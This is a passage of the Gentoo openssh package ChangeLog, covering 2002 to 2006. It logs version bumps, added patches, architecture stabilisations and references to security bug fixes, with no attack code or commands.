Frysinger +openssh-4.4_p1-r5.ebuild: + Add updated securid support. + + 17 Oct 2006; Roy Marples openssh-4.4_p1-r4.ebuild: + Added ~sparc-fbsd keyword. + + 14 Oct 2006; Roy Marples files/sshd.rc6: + Init script now interacts fully with start-stop-daemon. + +*openssh-4.4_p1-r4 (13 Oct 2006) + + 13 Oct 2006; Mike Frysinger +openssh-4.4_p1-r4.ebuild: + Add updated hpn support. + +*openssh-4.4_p1-r3 (04 Oct 2006) + + 04 Oct 2006; Chris PeBenito + +files/openssh-4.4p1-selinux-ac.diff, +openssh-4.4_p1-r3.ebuild: + Fix configure to properly detect SELinux functions. + +*openssh-4.4_p1-r2 (02 Oct 2006) + + 02 Oct 2006; Mike Frysinger +openssh-4.4_p1-r2.ebuild: + Add support for new X509. + + 02 Oct 2006; Andrea Barisani + files/digest-openssh-4.4_p1-r1, Manifest: + Fixing digest wrt bug #149571 + + 30 Sep 2006; Diego Pettenò + openssh-4.4_p1-r1.ebuild: + Make sure pam is the latest eclass called. + + 29 Sep 2006; Markus Rothe openssh-4.3_p2-r5.ebuild: + Stable on ppc64 + +*openssh-4.4_p1-r1 (29 Sep 2006) + + 29 Sep 2006; Andrea Barisani +openssh-4.4_p1-r1.ebuild: + Revision bump for new ldap patch. + +*openssh-4.4_p1 (28 Sep 2006) + + 28 Sep 2006; Mike Frysinger +openssh-4.4_p1.ebuild: + Version bump. + + 27 Sep 2006; Fernando J. Pereda + openssh-4.3_p2-r5.ebuild: + Stable on alpha wrt bug #148228 + + 26 Sep 2006; Gustavo Zacarias + openssh-4.3_p2-r5.ebuild: + Stable on hppa wrt security #148228 + + 26 Sep 2006; Simon Stelling openssh-4.3_p2-r5.ebuild: + stable on amd64; bug 148228 + + 26 Sep 2006; Tobias Scherbaum + openssh-4.3_p2-r5.ebuild: + ppc stable, bug #148228 + + 25 Sep 2006; Jason Wever openssh-4.3_p2-r5.ebuild: + Stable on SPARC wrt security bug #148228. + + 25 Sep 2006; Paul Varner openssh-4.3_p2-r5.ebuild: + Stable on x86. Bug #148228 + +*openssh-4.3_p2-r5 (25 Sep 2006) + + 25 Sep 2006; Tavis Ormandy +openssh-4.3_p2-r5.ebuild, + +files/openssh-4.3_p2-identical-simple-dos-2.patch: + Tweak DOS patch #148228. + + 23 Sep 2006; Mike Frysinger + +files/openssh-4.3_p2-opensc-libs.patch, openssh-4.3_p2-r4.ebuild: + Fix building with --as-needed #148538 by Mart Raudsepp. + + 23 Sep 2006; Mike Frysinger + +files/openssh-4.3_p2-ldap-updates.patch, openssh-4.3_p2-r4.ebuild: + Fixup ldap configure code #148723 by sfp-a7x. + +*openssh-4.3_p2-r4 (22 Sep 2006) + + 22 Sep 2006; Mike Frysinger + +files/openssh-4.3_p2-securid-updates.patch, +openssh-4.3_p2-r4.ebuild: + Force rebuilding of all autotools instead of just cheating with autoconf + #148639 by Alex K. + + 22 Sep 2006; Tobias Scherbaum + openssh-4.3_p2-r3.ebuild: + hppa stable, bug #148228 + + 21 Sep 2006; Tobias Scherbaum + openssh-4.3_p2-r3.ebuild: + ppc stable, bug #148228 + + 21 Sep 2006; Mike Doty openssh-4.3_p2-r3.ebuild: + amd64 stable, bug 148228 + + 21 Sep 2006; Gustavo Zacarias + openssh-4.3_p2-r3.ebuild: + Stable on sparc wrt #148228 + + 21 Sep 2006; openssh-4.3_p2-r3.ebuild: + Stable on x86, security bug #148228. + + 21 Sep 2006; Markus Rothe openssh-4.3_p2-r3.ebuild: + Stable on ppc64; bug #148228 + +*openssh-4.3_p2-r3 (20 Sep 2006) + + 20 Sep 2006; Mike Frysinger + +files/openssh-4.3_p1-chroot.patch, + +files/openssh-4.3_p2-identical-simple-dos.patch, files/sshd.confd, + files/sshd.rc6, +openssh-4.3_p2-r3.ebuild: + Fixes from upstream for minor DOS #148228. + + 08 Sep 2006; Mike Frysinger openssh-4.3_p2-r2.ebuild: + Remove ugly flag mangling and fix building with USE=static #146654 by + Alexander Skwar. + + 05 Jul 2006; Andrea Barisani metadata.xml: + Making my metadata entry a bit more clear. + + 04 Jul 2006; Mike Frysinger openssh-4.3_p2-r2.ebuild: + Add x11-apps/xauth to RDEPEND for USE=X #139235 by Ian Stakenvicius. + + 02 Jul 2006; Robin H. Johnson + files/digest-openssh-3.9_p1-r3, files/digest-openssh-4.0_p1-r2, + files/digest-openssh-4.1_p1-r1, files/digest-openssh-4.2_p1-r1, + files/digest-openssh-4.3_p1, files/digest-openssh-4.3_p2-r1, + files/digest-openssh-4.3_p2-r2, Manifest: + Fix digest weirdness. + + 30 Jun 2006; Robin H. Johnson + files/digest-openssh-4.3_p1, files/digest-openssh-4.3_p2-r1, + files/digest-openssh-4.3_p2-r2, Manifest: + Upstream changed the openssh-lpk-4.3p1-0.3.7.patch file, and didn't alter + the filename! Re-digest as needed. + + 27 Jun 2006; Mike Frysinger + +files/openssh-4.3_p2-configure.patch, openssh-4.3_p1.ebuild, + openssh-4.3_p2-r1.ebuild, openssh-4.3_p2-r2.ebuild: + Fix broken configure script #137921 by Adam Potter. + + 24 Jun 2006; Diego Pettenò + openssh-4.3_p2-r1.ebuild: + Remove x86-fbsd keyword from an older rev, just to be safe. + + 24 Jun 2006; Diego Pettenò + openssh-4.3_p2-r2.ebuild: + Put shadow under conditional userland_GNU, unbreak non-GNU userlands. + + 24 Jun 2006; Joshua Kinard openssh-4.3_p2-r2.ebuild: + Eh, shadow belongs in RDEPEND instead, duh. + + 24 Jun 2006; Joshua Kinard openssh-4.3_p2-r2.ebuild: + Added shadow as a DEPEND so that groupadd is available. + +*openssh-4.3_p2-r2 (08 Jun 2006) + + 08 Jun 2006; Mike Frysinger + +files/openssh-4.3_p2-securid-hpn-glue.patch, + +files/openssh-4.3_p2-x509-hpn-glue.patch, openssh-4.2_p1-r1.ebuild, + +openssh-4.3_p2-r2.ebuild: + Update hpn and x509 patches #135691 by Scott Jones. + + 07 Jun 2006; Joshua Kinard openssh-4.3_p2-r1.ebuild: + Add sys-apps/shadow to RDEPEND/DEPEND so group/useradd is available. Fixes + Bug #135966. + + 29 Apr 2006; Joshua Kinard openssh-4.3_p2-r1.ebuild: + Marked stable on mips. + + 19 Apr 2006; Andrea Barisani openssh-4.3_p1.ebuild, + openssh-4.3_p2-r1.ebuild: + Ok that last commit was stupid, going back and waiting for updated mirrors. + + 19 Apr 2006; openssh-4.3_p1.ebuild, + openssh-4.3_p2-r1.ebuild: + Moving ldap patch to dev.gentoo.org waiting for mirror to get the updated version + and fixing digest issues. bug #130354 + + 17 Apr 2006; Markus Rothe openssh-4.3_p2-r1.ebuild: + Stable on ppc64; bug #130027 + + 17 Apr 2006; Chris Gianelloni + openssh-4.3_p2-r1.ebuild: + Stable on x86 wrt bug #130027. + + 16 Apr 2006; Bryan Østergaard openssh-4.3_p2-r1.ebuild: + Stable on SPARC wrt bug #130027. + + 15 Apr 2006; openssh-4.3_p2-r1.ebuild: + Stable on ppc. Bug #130027 + + 15 Apr 2006; Marcus D. Hanwell + openssh-4.3_p2-r1.ebuild: + Marked stable on amd64, bug 130027. + + 04 Apr 2006; Diego Pettenò + openssh-4.3_p2-r1.ebuild: + Allow using freebsd-lib's libedit with libedit useflag. + + 30 Mar 2006; Diego Pettenò + openssh-4.3_p2-r1.ebuild: + Add ~x86-fbsd keyword. + + 05 Mar 2006; Mike Frysinger + +files/openssh-4.3_p2-selinux.patch.glue, openssh-4.3_p2-r1.ebuild: + Glue selinux and X509 support #125108 by Alon Bar-Lev. + + 05 Mar 2006; Andrea Barisani openssh-4.3_p1.ebuild, + openssh-4.3_p2.ebuild, openssh-4.3_p2-r1.ebuild: + Restored ldap support in 4.3 versions. + +*openssh-4.3_p2-r1 (05 Mar 2006) + + 05 Mar 2006; Chris PeBenito + +files/openssh-4.3_p2-selinux.patch, +openssh-4.3_p2-r1.ebuild: + Bump to update SELinux patch. + +*openssh-4.3_p2 (04 Mar 2006) + + 04 Mar 2006; Mike Frysinger + +files/openssh-4.3_p1-krb5-typos.patch, +openssh-4.3_p2.ebuild: + Version bump and add patch from upstream #124494 by RiverRat. + + 28 Feb 2006; Mike Frysinger files/sshd.rc6: + Add restart function by Michal Fojtik to init.d script #124271. + + 19 Feb 2006; Joshua Kinard openssh-4.2_p1-r1.ebuild: + Marked stable on mips. + +*openssh-4.3_p1 (08 Feb 2006) + + 08 Feb 2006; Mike Frysinger +openssh-4.3_p1.ebuild: + Version bump #121191 by Wolfram Schlich. + + 04 Feb 2006; Mike Frysinger +files/sshd.confd, + files/sshd.rc6, openssh-3.9_p1-r3.ebuild, openssh-4.0_p1-r2.ebuild, + openssh-4.1_p1-r1.ebuild, openssh-4.2_p1.ebuild, openssh-4.2_p1-r1.ebuild: + Pass sshd_config to sshd when starting to better help running multiple + instances of ssh #121530 by ph. + + 03 Feb 2006; Tobias Scherbaum + openssh-4.2_p1-r1.ebuild: + ppc stable, bug #119232 + + 03 Feb 2006; Markus Rothe openssh-4.2_p1-r1.ebuild: + Stable on ppc64: bug #119232 + + 03 Feb 2006; Jose Luis Rivero + openssh-4.2_p1-r1.ebuild: + Stable on alpha wrt sec bug #119232 + + 02 Feb 2006; Rene Nussbaumer + openssh-4.2_p1-r1.ebuild: + Stable on hppa. See bug #119232. + + 02 Feb 2006; Mark Loeser openssh-4.2_p1-r1.ebuild: + Stable on x86; bug #119232 + + 02 Feb 2006; Gustavo Zacarias + openssh-4.2_p1-r1.ebuild: + Stable on sparc wrt security #119232 + + 02 Feb 2006; Simon Stelling openssh-4.2_p1-r1.ebuild: + stable on amd64 wrt bug 119232 + +*openssh-4.2_p1-r1 (01 Feb 2006) + + 01 Feb 2006; Mike Frysinger + +files/openssh-4.2_p1-CVE-2006-0225.patch, +openssh-4.2_p1-r1.ebuild: + Version bump for security #119232. + + 29 Jan 2006; Mike Frysinger + +files/openssh-4.2_p1-cross-compile.patch, openssh-4.0_p1-r2.ebuild, + openssh-4.1_p1-r1.ebuild, openssh-4.2_p1.ebuild: + Fix cross-compiling #120567 by Raphael Burnes. + + 25 Dec 2005; Diego Pettenò openssh-4.2_p1.ebuild: + Use bindnow-flags function instead of -Wl,-z,now. + + 10 Dec 2005; Mike Frysinger files/sshd.rc6: + Update init.d script to allow for multiple instances by Marius Mauch #114996. + + 22 Oct 2005; MATSUU Takuto openssh-4.2_p1.ebuild: + Stable on sh for #109678. + + 22 Oct 2005; Mike Frysinger + +files/openssh-4.2_p1-selinux.patch, openssh-4.2_p1.ebuild: + Fix selinux support #110039 and add back in securid/hpn patches. + + 21 Oct 2005; Bryan Østergaard openssh-4.2_p1.ebuild: + Stable on alpha + ia64, bug 109678. + + 21 Oct 2005; Jason Wever openssh-4.2_p1.ebuild: + Stable on SPARC wrt security bug #109678. + + 21 Oct 2005; Seemant Kulleen openssh-4.2_p1.ebuild: + stable amd64 for bug #109678 + + 21 Oct 2005; Aaron Walker openssh-4.2_p1.ebuild: + Stable on mips for bug #109678. + + 20 Oct 2005; Michael Hanselmann openssh-4.2_p1.ebuild: + Stable on hppa, ppc. + + 20 Oct 2005; openssh-4.2_p1.ebuild: + Marking stable on x86 + + 20 Oct 2005; Brent Baude openssh-4.2_p1.ebuild: + Marking openssh-4.2_p1 ppc64 for bug 109678 + + 19 Oct 2005; Mike Frysinger + openssh-3.8.1_p1-r1.ebuild, openssh-3.9_p1-r3.ebuild, + openssh-4.0_p1-r2.ebuild, openssh-4.1_p1-r1.ebuild, openssh-4.2_p1.ebuild: + Move default xauth location to /usr/bin/xauth. + +*openssh-4.2_p1 (06 Sep 2005) + + 06 Sep 2005; Mike Frysinger + +files/openssh-4.2_p1-kerberos-detection.patch, + +files/openssh-4.2_p1-sftplogging-1.4-gentoo.patch.bz2, + +openssh-4.2_p1.ebuild: + Version bump #104948 by Saurabh Singhvi. + + 05 Sep 2005; Mike Frysinger + +files/openssh-3.9_p1-fix_suid.patch, + -files/openssh-3.9_p1-fix_suid.patch.bz2, + +files/openssh-3.9_p1-fix_suid-x509.patch, openssh-3.8.1_p1-r1.ebuild, + openssh-3.9_p1-r3.ebuild, openssh-4.0_p1-r2.ebuild, + openssh-4.1_p1-r1.ebuild: + Update the x509 patches. + + 05 Sep 2005; Mike Frysinger openssh-4.1_p1-r1.ebuild: + Re-enable smartcard support. + + 20 Aug 2005; Mike Frysinger files/sshd.rc6: + Before starting sshd, sanity check the config file #101893 by Eric Brown. + +*openssh-4.1_p1-r1 (15 Jul 2005) +*openssh-4.0_p1-r2 (15 Jul 2005) +*openssh-3.9_p1-r3 (15 Jul 2005) + + 15 Jul 2005; Andrea Barisani metadata.xml, + +openssh-3.9_p1-r3.ebuild, +openssh-4.0_p1-r2.ebuild, + +openssh-4.1_p1-r1.ebuild: + Updating openssh-lpk ldap patches to version 0.3.6. + + 26 Jun 2005; Mike Frysinger openssh-3.9_p1-r2.ebuild, + openssh-4.0_p1-r1.ebuild, openssh-4.1_p1.ebuild: + Add support for the High Performance patch #96717 by Frank Benkstein. + + 29 May 2005; Mike Frysinger openssh-4.0_p1-r1.ebuild, + openssh-4.1_p1.ebuild: + Add USE=libedit support #94410 by Joe Wells. + +*openssh-4.1_p1 (29 May 2005) + + 29 May 2005; Mike Frysinger +openssh-4.1_p1.ebuild: + Version bump #94261 by Tobias Sager. + + 28 May 2005; Mike Frysinger + +files/openssh-4.0_p1-smartcard-ldap-happy.patch, + openssh-3.8.1_p1-r1.ebuild, openssh-3.9_p1-r2.ebuild, + openssh-4.0_p1-r1.ebuild: + Add support for LDAP and make it mutually exclusive from x509 since they + conflict #58579. + + 22 May 2005; Mike Frysinger openssh-4.0_p1-r1.ebuild: + Add support for RSA SecurID tokens #92233 by Antti Mäkelä. + + 20 May 2005; Diego Pettenò + openssh-3.9_p1-r2.ebuild, openssh-4.0_p1.ebuild, openssh-4.0_p1-r1.ebuild: + Inherit pam eclass for newpamd. + +*openssh-4.0_p1-r1 (29 Apr 2005) + + 29 Apr 2005; Diego Pettenò + +files/sshd.pam_include, +openssh-4.0_p1-r1.ebuild: + Added a new revision depending on virtual/pam (>=pam-0.78) and uses the + include syntax instead of pam_stack.so. + +*openssh-3.9_p1-r2 (17 Mar 2005) + + 17 Mar 2005; Mike Frysinger + files/openssh-3.9_p1-sftplogging-1.2-gentoo.patch.bz2, + +openssh-3.9_p1-r2.ebuild: + Fix bad sftplogging code #82372 by Andrej Kacian. + +*openssh-4.0_p1 (15 Mar 2005) + + 15 Mar 2005; Mike Frysinger + +files/openssh-4.0_p1-sftplogging-1.2-gentoo.patch.bz2, + +openssh-4.0_p1.ebuild: + Version bump #84717 by Michail A.Baikov. + + 13 Mar 2005; Mike Frysinger + +files/openssh-3.9_p1-kerberos-detection.patch, openssh-3.9_p1-r1.ebuild: + Add patch to fix kerberos detection #80811 by Aron Griffis. + + 13 Mar 2005; Mike Frysinger + +files/openssh-3.9_p1-configure-openct.patch, openssh-3.9_p1-r1.ebuild: + Fix USE=-opensc logic with patch by Stian Skjelstad #78730. + + 19 Feb 2005; Mike Frysinger + files/openssh-3.9_p1-largekey.patch.bz2: + Make sure that the largekey properly passes the size of the buffer along + #82463 by David Cuthbert. + + 22 Jan 2005; Daniel Ahlberg + +files/openssh-3.9_p1-pamfix.patch.bz2, openssh-3.9_p1-r1.ebuild: + Added pamfix patch from upstream, closing #65343. + + 07 Jan 2005; Daniel Ahlberg + +files/openssh-3.9_p1-terminal_restore.patch.bz2, + openssh-3.9_p1-r1.ebuild: + Fix terminal restoration after breaking out from sftp and scp, closing #63544. + + 30 Dec 2004; Bryan Østergaard + openssh-3.9_p1-r1.ebuild: + Stable on alpha, bug 59361. + + 29 Dec 2004; Hardave Riar openssh-3.9_p1-r1.ebuild: + Stable on mips, bug #59361. + + 29 Dec 2004; Ciaran McCreesh : + Change encoding to UTF-8 for GLEP 31 compliance + + 29 Dec 2004; Gustavo Zacarias + openssh-3.9_p1-r1.ebuild: + Stable on sparc wrt #59361 + + 29 Dec 2004; Markus Rothe openssh-3.9_p1-r1.ebuild: + Stable for security; bug #59361 + + 29 Dec 2004; openssh-3.9_p1-r1.ebuild: + stable on ppc glsa: 59361 + +*openssh-3.9_p1-r1 (28 Dec 2004) + + 28 Dec 2004; Mike Frysinger + files/openssh-3.9_p1-chroot.patch, +openssh-3.9_p1-r1.ebuild, + +files/openssh-3.9_p1-infoleak.patch: + Add infoleak fix #59361 and allow the chroot patch to support PAM auth #72987. + + 16 Nov 2004; Mike Frysinger openssh-3.9_p1.ebuild: + If USE=pam, then disable PasswordAuthentication since PAM overrides it #71233. + + 14 Sep 2004; Daniel Ahlberg openssh-3.9_p1.ebuild, + files/openssh-3.9_p1-fix_suid.patch.bz2: + Fixed suid binary. + + 14 Sep 2004; Daniel Ahlberg openssh-3.7.1_p2-r1.ebuild, + openssh-3.7.1_p2-r2.ebuild, openssh-3.8.1_p1-r1.ebuild, + openssh-3.8.1_p1-r2.ebuild, openssh-3.8.1_p1.ebuild, openssh-3.8_p1.ebuild, + openssh-3.9_p1.ebuild, files/openssh-3.5_p1-gentoo-sshd-gcc3.patch, + files/openssh-3.5_p1-gentoo-sshd-gcc3.patch.bz2, + files/openssh-3.7.1_p1-selinux.diff, + files/openssh-3.7.1_p1-selinux.diff.bz2, + files/openssh-3.7.1_p2-chroot.patch, + files/openssh-3.7.1_p2-chroot.patch.bz2, + files/openssh-3.7.1_p2-kerberos.patch, + files/openssh-3.7.1_p2-kerberos.patch.bz2, + files/openssh-3.7.1_p2-skey.patch, files/openssh-3.7.1_p2-skey.patch.bz2, + files/openssh-3.8.1_p1-chroot.patch, + files/openssh-3.8.1_p1-chroot.patch.bz2, + files/openssh-3.8.1_p1-kerberos.patch, + files/openssh-3.8.1_p1-kerberos.patch.bz2, + files/openssh-3.8.1_p1-largekey.patch, + files/openssh-3.8.1_p1-largekey.patch.bz2, + files/openssh-3.8.1_p1-opensc.patch, + files/openssh-3.8.1_p1-opensc.patch.bz2, + files/openssh-3.8.1_p1-resolv_functions.patch, + files/openssh-3.8.1_p1-resolv_functions.patch.bz2, + files/openssh-3.8.1_p1-skey.patch, + files/openssh-3.8_p1-resolv_functions.patch.bz2, + files/openssh-3.8_p1-skey.patch, files/openssh-3.8_p1-skey.patch.bz2, + files/openssh-3.9_p1-chroot.patch, files/openssh-3.9_p1-chroot.patch.bz2, + files/openssh-3.9_p1-largekey.patch, + files/openssh-3.9_p1-largekey.patch.bz2, files/openssh-3.9_p1-opensc.patch, + files/openssh-3.9_p1-opensc.patch.bz2, files/openssh-3.9_p1-selinux.diff, + files/openssh-3.9_p1-selinux.diff.bz2, + files/openssh-3.9_p1-sftplogging-1.2-gentoo.patch, + files/openssh-3.9_p1-sftplogging-1.2-gentoo.patch.bz2, + files/openssh-3.9_p1-skey.patch, files/openssh-3.9_p1-skey.patch.bz2, + files/openssh-skeychallenge-args.diff, + files/openssh-skeychallenge-args.diff.bz2: + Compressed patches. + + 20 Aug 2004; Gustavo Zacarias + openssh-3.8.1_p1-r1.ebuild: + Stable on sparc + + 20 Aug 2004; Daniel Ahlberg openssh-3.9_p1.ebuild, + files/openssh-3.9_p1-sftplogging-1.2-gentoo.patch: + Enable X509 now that a updated patch is available, closing #60905. + Fix skey support by running autoconf, closing #60849. + Disable pam if static is in USE, closing #60864. + + 19 Aug 2004; Chris PeBenito + +files/openssh-3.9_p1-selinux.diff, openssh-3.9_p1.ebuild: + Update SELinux patch + + 18 Aug 2004; Daniel Ahlberg openssh-3.8.1_p1-r2.ebuild: + Fixed sftplogging patch, closing #60417 again. + +*openssh-3.9_p1 (18 Aug 2004) + + 18 Aug 2004; Daniel Ahlberg openssh-3.8.1_p1-r2.ebuild, + openssh-3.9_p1.ebuild: + Version bump, closing #60758. + + 16 Aug 2004; Daniel Ahlberg + files/openssh-3.8.1_p1-largekey.patch: + Fixed largekey patch. Closing #60417. + +*openssh-3.8.1_p1-r2 (15 Aug 2004) + + 15 Aug 2004; Daniel Ahlberg openssh-3.8.1_p1-r2.ebuild: + + Added sftp-logging patch, closing #52168. + + Added patch for large keys, closing #55013. + + 08 Jul 2004; Bryan Østergaard + openssh-3.8.1_p1-r1.ebuild: + Stable on alpha. + + 07 Jul 2004; Travis Tilley openssh-3.8.1_p1-r1.ebuild: + stable on amd64 + + 03 Jul 2004; Joshua Kinard openssh-3.8.1_p1-r1.ebuild: + Marked stable on mips. + + 01 Jul 2004; Jon Hood openssh-3.7.1_p2-r1.ebuild, + openssh-3.7.1_p2-r2.ebuild, openssh-3.8.1_p1-r1.ebuild, + openssh-3.8.1_p1.ebuild, openssh-3.8_p1.ebuild: + change virtual/glibc to virtual/libc + + 28 Jun 2004; Brandon Hale openssh-3.8.1_p1-r1.ebuild: + Stable on x86. + + 15 Jun 2004; openssh-3.8.1_p1-r1.ebuild: + pam & uclibc updates + + 07 Jun 2004; Bryan Østergaard openssh-3.8.1_p1.ebuild: + Stable on alpha. + + 05 Jun 2004; Hanselmann Michael + openssh-3.8.1_p1.ebuild: + Replaced ~ppc with ppc in KEYWORDS. + +*openssh-3.8.1_p1-r1 (30 May 2004) + + 30 May 2004; Mike Frysinger + +files/openssh-3.8.1_p1-opensc.patch, +openssh-3.8.1_p1-r1.ebuild: + Add optional support for smartcard stuff #43593 by Andreas Jellinghaus. + + 01 May 2004; Ciaran McCreesh openssh-3.8_p1.ebuild: + Stable on sparc, mips + + 28 Apr 2004; Daniel Ahlberg openssh-3.8.1_p1.ebuild: + Readded X509 patch now that it has been updated upstream. + + 27 Apr 2004; Michael McCabe openssh-3.8.1_p1.ebuild: + Stable on s390 + + 22 Apr 2004; Guy Martin openssh-3.8_p1.ebuild: + Marked stable on hppa. + + 22 Apr 2004; Daniel Ahlberg openssh-3.7.1_p2-r2.ebuild, + openssh-3.8.1_p1.ebuild, openssh-3.8_p1.ebuild: + Fixed IUSE flags. + + 21 Apr 2004; Daniel Ahlberg openssh-3.8_p1.ebuild: + Stable on x86 and amd64. + +*openssh-3.8.1_p1 (21 Apr 2004) + + 21 Apr 2004; Daniel Ahlberg openssh-3.8.1_p1.ebuild: + Version bump. Found by Daniel Webert in #48465. + + 13 Apr 2004; Daniel Ahlberg openssh-3.7.1_p2-r2.ebuild, + openssh-3.8_p1.ebuild: + Updated SRC_URI. + + 23 Mar 2004; Daniel Ahlberg openssh-3.7.1_p2-r1.ebuild, + openssh-3.7.1_p2-r2.ebuild, openssh-3.8_p1.ebuild: + Change download URI for X509 patches temporarily. + + 18 Mar 2004; Daniel Ahlberg files/sshd.rc6, openssh-3.8_p1.ebuild: + Add mkdir -p /var/empty to initscript. Closing #42936. + + 09 Mar 2004; openssh-3.7.1_p2-r2.ebuild: + stable on alpha and ia64 + + 09 Mar 2004; Daniel Ahlberg openssh-3.8_p1.ebuild: + + Add X509 patch back in, bumped to g4. + + Fix static compile by Sascha Silbe in #44077. + + 07 Mar 2004; Joshua Kinard openssh-3.7.1_p2-r2.ebuild: + Marked stable on mips. + + 02 Mar 2004; Brian Jackson openssh-3.8_p1.ebuild: + adding initial s390 support + + 27 Feb 2004; Sven Blumenstein openssh-3.7.1_p2-r2.ebuild: + Stable on sparc. Remember to mkdir /var/empty if it doesnt exist before you + restart sshd... + + 25 Feb 2004; Guy Martin openssh-3.7.1_p2-r2.ebuild: + Marked stable on hppa. + + 25 Feb 2004; Daniel Ahlberg openssh-3.7.1_p2-r2.ebuild: + Backport skey configure.ac patch. + + 24 Feb 2004; Daniel Ahlberg openssh-3.7.1_p2-r2.ebuild: + Unmask for x86 and amd64. + +*openssh-3.8_p1 (24 Feb 2004) + + 24 Feb 2004; Daniel Ahlberg openssh-3.8_p1.ebuild: + Version bump. + + 21 Feb 2004; Daniel Ahlberg openssh-3.7.1_p2-r2.ebuild: + Fix openssh to work with multipe kerbers5 libs. Closing #30310. + + 20 Feb 2004; Daniel Ahlberg openssh-3.7.1_p2-r2.ebuild: + Filter flag if using ldap. Closing #41727. + + 12 Feb 2004; Mike Frysinger : + Set Protocol to only allow ssh2 by default #41215 and enable pam if in USE. + + 10 Jan 2004; Brad House openssh-3.7.1_p2-r2.ebuild: + install doesn't seem to be creating /var/empty + + 08 Jan 2004; openssh-3.5_p1-r1.ebuild, + openssh-3.6.1_p2.ebuild, openssh-3.7.1_p2-r1.ebuild, + openssh-3.7.1_p2-r2.ebuild: + ppc64/mips nightmare.. had to remove tcpd and skey support for various arches + due to other things not being marked stable on those arches + +*openssh-3.7.1_p2-r2 (08 Jan 2004) + + 08 Jan 2004; openssh-3.7.1_p2-r2.ebuild: + added feature request for chrooting via sshd bug #26615 + + 04 Jan 2004; Daniel Ahlberg openssh-3.7.1_p2-r1.ebuild: + Changeing sshd user shell. Closing #35063. + + 03 Jan 2003; Daniel Ahlberg openssh-3.7.1_p2-r1.ebuild: + Change adding sshd user and group to user enewuser and enewgroup. Should + fix #35369. + +*openssh-3.7.1_p2-r1 (05 Nov 2003) + + 17 Nov 2003; Joshua Kinard openssh-3.7.1_p2-r1.ebuild: + Added a gnuconfig_update call for mips systems + + 05 Nov 2003; Tavis Ormandy openssh-3.7.1_p2-r1.ebuild, + files/openssh-skeychallenge-args.diff: + patch needed for compatability with new skey. + + 28 Oct 2003; Chris PeBenito openssh-3.5_p1-r1.ebuild, + openssh-3.6.1_p2.ebuild, openssh-3.7.1_p2.ebuild, + files/openssh-3.7.1_p1-selinux.diff: + Switch SELinux patch from old API to new API. + + 30 Sep 2003; Daniel Ahlberg openssh-3.7.1_p2.ebuild : + Add X509 patch back in, closes #29664. + + 23 Sep 2003; openssh-3.7.1_p2.ebuild: + according to the ChangeLog for openssh =zlib-1.1.4 is a must now. Note: + openssh needs a X509 patch made upstream for p2 + +*openssh-3.7.1_p2 (23 Sep 2003) + + 23 Sep 2003; openssh-3.7.1_p2.ebuild: + security update. http://www.openssh.com/txt/sshpam.adv + + 19 Sep 2003; Chris PeBenito + openssh-3.7.1_p1-r1.ebuild, openssh-3.7.1_p1.ebuild: + Fix SELinux patch for 3.7.1_p1 + + 19 Sep 2003; Daniel Ahlberg openssh-3.7.1_p1-r1.ebuild : + Disabled selinux patch until a new can be made. + Fixed some of the patches to allow the X509 patch to apply. Closing #29105. + +*openssh-3.7.1_p1-r1 (18 Sep 2003) + + 18 Sep 2003; Daniel Ahlberg openssh-3.7.1_p1-r1.ebuild : + Removed krb4 and afs support since they are removed according to the Announcment. + Ebuild cleanups. + Added a bunch of patches from CVS. Among them a fix for CAN-2003-0682. + + 18 Sep 2003; Daniel Ahlberg openssh-3.7.1_p1.ebuild : + Readd X509 patch. Closing #28992. + +*openssh-3.7.1_p1 (16 Sep 2003) + + 16 Sep 2003; Rajiv Aaron Manglani openssh-3.7.1_p1.ebuild: + added warning about restarting sshd. + + 16 Sep 2003; Mike Frysinger : + Another version bump ! :D #28927. This fixes 'more malloc bugs'. + +*openssh-3.7_p1 (16 Sep 2003) + + 16 Sep 2003; Rajiv Aaron Manglani openssh-3.7_p1.ebuild: + added warning about restarting sshd. + + 16 Sep 2003; Mike Frysinger : + Version bump to fix #28873 ... selinux needs to be caught up though :(. + Marked stable due to nature of release (security). + +*openssh-3.6.1_p2-r3 (05 Sep 2003) + + 05 Sep 2003; Tavis Ormandy openssh-3.6.1_p2-r3.ebuild: + adding optional s/key authentication support, using new local USE flag + `skey`, currently ~arch only. #11478 + +*openssh-3.6.1_p2-r1 (06 Aug 2003) + + 06 Aug 2003; Donny Davies openssh-3.6.1_p2-r1.ebuild: + Added new local USE=X509 variable which includes Roumen Petrov's patch + providing support for authentication with X.509 certificates. + + 31 May 2003; Brandon Low files/sshd.rc6: + Add 'use dns logger' to the rcscript + +*openssh-3.6.1_p2 (30 Apr 2003) + + 30 Apr 2003; Daniel Ahlberg openssh-3.6.1_p2.ebuild : + Security update. + +*openssh-3.6.1_p1 (02 Apr 2003) + + 02 Apr 2003; Brandon Low openssh-3.6.1_p1.ebuild: + Bump + +*openssh-3.6_p1 (02 Apr 2003) + + 02 Apr 2003; Brandon Low openssh-3.6_p1.ebuild: + Bump, required some modifications to the selinux patch, test thoroughly + + 09 Feb 2003; Guy Martin : + Added hppa to keywords. + +*openssh-3.5_p1-r1 (20 Jan 2003) + + 30 Mar 2003; Joshua Brindle openssh-3.5_p1-r1.ebuild: + fixed compile options for selinux support + + 20 Mar 2003; Joshua Brindle openssh-3.5_p1-r1.ebuild: + added selinux support + + 15 Mar 2003; Jan Seidel : + Added mips to KEYWORDS + + 13 Mar 2003; Zach Welch openssh-3.5_p1-r1.ebuild: + add arm keyword + + 09 Mar 2003; Aron Griffis openssh-3.5_p1-r1.ebuild: + Mark stable on alpha + + 01 Mar 2003; Brandon Low openssh-3.5_p1-r1.ebuild: + make -> emake + + 21 Jan 2003; Nick Hadaway openssh-3.5_p1-r1.ebuild : + Changed USE="kerberos" to depend on app-crypt/krb5 as heimdal is not + compatible currently. Install app-crypt/kth-krb and set KTH_KRB="yes" + to enable Kerberos IV support. + + 20 Jan 2003; Nick Hadaway openssh-3.5_p1-r1.ebuild, + files/digest-openssh-3.5_p1-r1 : + Added kerberos use flag support. + + 09 Dec 2002; Donny Davies openssh-3.5_p1.ebuild, + openssh-3.4_p1-r2.ebuild, openssh-3.4_p1-r3.ebuild : Add a shells reminder. + + 06 Dec 2002; Rodney Rees : changed sparc ~sparc keywords + + 01 Dec 2002; Jack Morgan openssh-3.5_p1.ebuild : + Removed ~ from sparc/sparc64 keywords. + + 29 Nov 2002; Daniel Ahlberg openssh-3.5_p1.ebuild : + Rewrote patch applying code. + + 22 Nov 2002; Will Woods openssh-3.5_p1.ebuild: + Added patch to fix compile problem on alpha. + + 23 Oct 2002; Maik Schreiber openssh-3.5_p1.ebuild: Changed + "~x86" to "x86" in KEYWORDS. + +*openssh-3.5_p1 (18 